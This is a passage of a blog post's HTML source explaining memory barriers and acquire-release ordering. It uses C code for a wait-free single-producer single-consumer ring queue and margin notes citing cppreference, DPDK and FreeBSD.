&lt;/span&gt;&lt;span class="n"&gt;A1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;barrier&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are two valid outcomes: reorder on each side of the barrier are perfectly valid (left).
&lt;br /&gt;&lt;br /&gt;
Reorder across the barrier are not (right).
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/lock-free/queue/reorder-barrier.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A full write barrier is the nuke option as it prevents &lt;em&gt;any&lt;/em&gt; store reorder across that point for all the threads.&lt;/p&gt;
&lt;p&gt;A more precise and efficient solution is possible in these days however.&lt;/p&gt;
&lt;h2 id="acquire---release-memory-model"&gt;Acquire - Release memory model&lt;/h2&gt;
&lt;p&gt;Consider the last part of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the first part of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EINVAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The producer updates (stores) her tail to &lt;em&gt;signal&lt;/em&gt; the consumer that can move forward.&lt;/p&gt;
&lt;p&gt;The consumer is &lt;em&gt;waiting until&lt;/em&gt; the producer’s tail is moved forward so there are entries ready for reading.&lt;/p&gt;
&lt;p&gt;There is no a real wait: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; just fails if there is nothing to read but conceptually there is a &lt;em&gt;signal&lt;/em&gt; and &lt;em&gt;wait&lt;/em&gt; relationship between the producer and the consumer on the producer’s tail pointer.&lt;/p&gt;
&lt;p&gt;This is the same that happens when a thread &lt;em&gt;acquires&lt;/em&gt; a mutex: other thread will wait on it until the first thread &lt;em&gt;release&lt;/em&gt; it.&lt;/p&gt;
&lt;p&gt;The modern processors and compilers introduced this concept in the Acquire - Release memory model.&lt;/p&gt;
&lt;p&gt;We say that the consumer &lt;em&gt;acquires&lt;/em&gt; the producer’s tail and the producer &lt;em&gt;release&lt;/em&gt; it.&lt;/p&gt;
&lt;p&gt;&lt;label for='Cgo8aW1nIGNsYXNzPSJmdWxsd2lkdGgiIHN0eWxlPSJmbG9hdDogcmlnaHQ7IG1hcmdpbi1sZWZ0OiAxMHB4OyIgc3JjPSIvaW1nL3RocmVhZGluZy9sb2NrLWZyZWUvcXVldWUvcmVvcmRlci13aGF0LnBuZyIgLz4KKiJObyByZWFkcyBvciB3cml0ZXMgaW4gdGhlIGN1cnJlbnQgdGhyZWFkIGNhbiBiZSByZW9yZGVyZWQKYWZ0ZXIgdGhpcyBgUkVMRUFTRWAgc3RvcmUuIEFsbCB3cml0ZXMgaW4gdGhlIGN1cnJlbnQgdGhyZWFkIGFyZSB2aXNpYmxlCmluIG90aGVyIHRocmVhZHMgdGhhdCBgQUNRVUlSRWAgKGxvYWQpIHRoZSBzYW1lIGF0b21pYyB2YXJpYWJsZS4KTm8gcmVhZHMgb3Igd3JpdGVzIGluIHRob3NlIHRocmVhZHMgY2FuIGJlIHJlb3JkZXJlZCAKYmVmb3JlIHRoYXQgbG9hZCBlaXRoZXIuIioKCkZyb20gYHN0ZDo6bWVtb3J5X29yZGVyYCwgW2NwcHJlZmVyZW5jZS5jb21dKGh0dHBzOi8vZW4uY3BwcmVmZXJlbmNlLmNvbS93L2NwcC9hdG9taWMvbWVtb3J5X29yZGVyI1JlbGVhc2UtQWNxdWlyZV9vcmRlcmluZykKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Cgo8aW1nIGNsYXNzPSJmdWxsd2lkdGgiIHN0eWxlPSJmbG9hdDogcmlnaHQ7IG1hcmdpbi1sZWZ0OiAxMHB4OyIgc3JjPSIvaW1nL3RocmVhZGluZy9sb2NrLWZyZWUvcXVldWUvcmVvcmRlci13aGF0LnBuZyIgLz4KKiJObyByZWFkcyBvciB3cml0ZXMgaW4gdGhlIGN1cnJlbnQgdGhyZWFkIGNhbiBiZSByZW9yZGVyZWQKYWZ0ZXIgdGhpcyBgUkVMRUFTRWAgc3RvcmUuIEFsbCB3cml0ZXMgaW4gdGhlIGN1cnJlbnQgdGhyZWFkIGFyZSB2aXNpYmxlCmluIG90aGVyIHRocmVhZHMgdGhhdCBgQUNRVUlSRWAgKGxvYWQpIHRoZSBzYW1lIGF0b21pYyB2YXJpYWJsZS4KTm8gcmVhZHMgb3Igd3JpdGVzIGluIHRob3NlIHRocmVhZHMgY2FuIGJlIHJlb3JkZXJlZCAKYmVmb3JlIHRoYXQgbG9hZCBlaXRoZXIuIioKCkZyb20gYHN0ZDo6bWVtb3J5X29yZGVyYCwgW2NwcHJlZmVyZW5jZS5jb21dKGh0dHBzOi8vZW4uY3BwcmVmZXJlbmNlLmNvbS93L2NwcC9hdG9taWMvbWVtb3J5X29yZGVyI1JlbGVhc2UtQWNxdWlyZV9vcmRlcmluZykKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img class="fullwidth" style="float: right; margin-left: 10px;" src="/img/threading/lock-free/queue/reorder-what.png" /&gt; &lt;em&gt;“No reads or writes in the current thread can be reordered after this &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;RELEASE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; store. All writes in the current thread are visible in other threads that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ACQUIRE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (load) the same atomic variable. No reads or writes in those threads can be reordered before that load either.”&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;
From &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;a href="https://en.cppreference.com/w/cpp/atomic/memory_order#Release-Acquire_ordering"&gt;cppreference.com&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;While a full barrier ensures a “happen before” &lt;em&gt;across all the threads&lt;/em&gt;, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ACQUIRE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ensures that all the stores of &lt;em&gt;that&lt;/em&gt; thread that happen before the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ACQUIRE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be perceived than &lt;em&gt;happen before&lt;/em&gt; by &lt;em&gt;only&lt;/em&gt; the thread that is doing the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;RELEASE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ....&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// write the data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EINVAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ....&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CltEUERLXShodHRwOi8vZ2l0LmRwZGsub3JnL2RwZGsvdHJlZS9saWIvbGlicnRlX3JpbmcvcnRlX3JpbmdfYzExX21lbS5oKSB1c2VzCnRoaXMgd2hpbGUgdGhlCltGcmVlQlNEIHZlcnNpb25dKGh0dHBzOi8vc3Zud2ViLmZyZWVic2Qub3JnL2Jhc2UvcmVsZWFzZS84LjAuMC9zeXMvc3lzL2J1Zl9yaW5nLmg/cmV2aXNpb249MTk5NjI1JmFtcCkKdXNlcyBhIGZ1bGwgbWVtb3J5IGJhcnJpZXIuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltEUERLXShodHRwOi8vZ2l0LmRwZGsub3JnL2RwZGsvdHJlZS9saWIvbGlicnRlX3JpbmcvcnRlX3JpbmdfYzExX21lbS5oKSB1c2VzCnRoaXMgd2hpbGUgdGhlCltGcmVlQlNEIHZlcnNpb25dKGh0dHBzOi8vc3Zud2ViLmZyZWVic2Qub3JnL2Jhc2UvcmVsZWFzZS84LjAuMC9zeXMvc3lzL2J1Zl9yaW5nLmg/cmV2aXNpb249MTk5NjI1JmFtcCkKdXNlcyBhIGZ1bGwgbWVtb3J5IGJhcnJpZXIuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="http://git.dpdk.org/dpdk/tree/lib/librte_ring/rte_ring_c11_mem.h"&gt;DPDK&lt;/a&gt; uses this while the &lt;a href="https://svnweb.freebsd.org/base/release/8.0.0/sys/sys/buf_ring.h?revision=199625&amp;amp;amp"&gt;FreeBSD version&lt;/a&gt; uses a full memory barrier.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Indeed the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;RELEASE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ensures that the producer’s writes will be visible by the consumer once she &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ACQUIRE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the updated producer’s tail pointer in a much efficient way that a full barrier&lt;/p&gt;
&lt;h2 id="single-producer-single-consumer-queue-final-version"&gt;Single-producer single-consumer queue (final version)&lt;/h2&gt;
&lt;p&gt;This is the wrap up: a not only lock-free but a wait-free single-producer single-consumer queue (or ring).&lt;/p&gt;
&lt;p&gt;For those how want something compilable, the final bits are in &lt;a href="https://github.com/eldipa/loki"&gt;the loki library&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

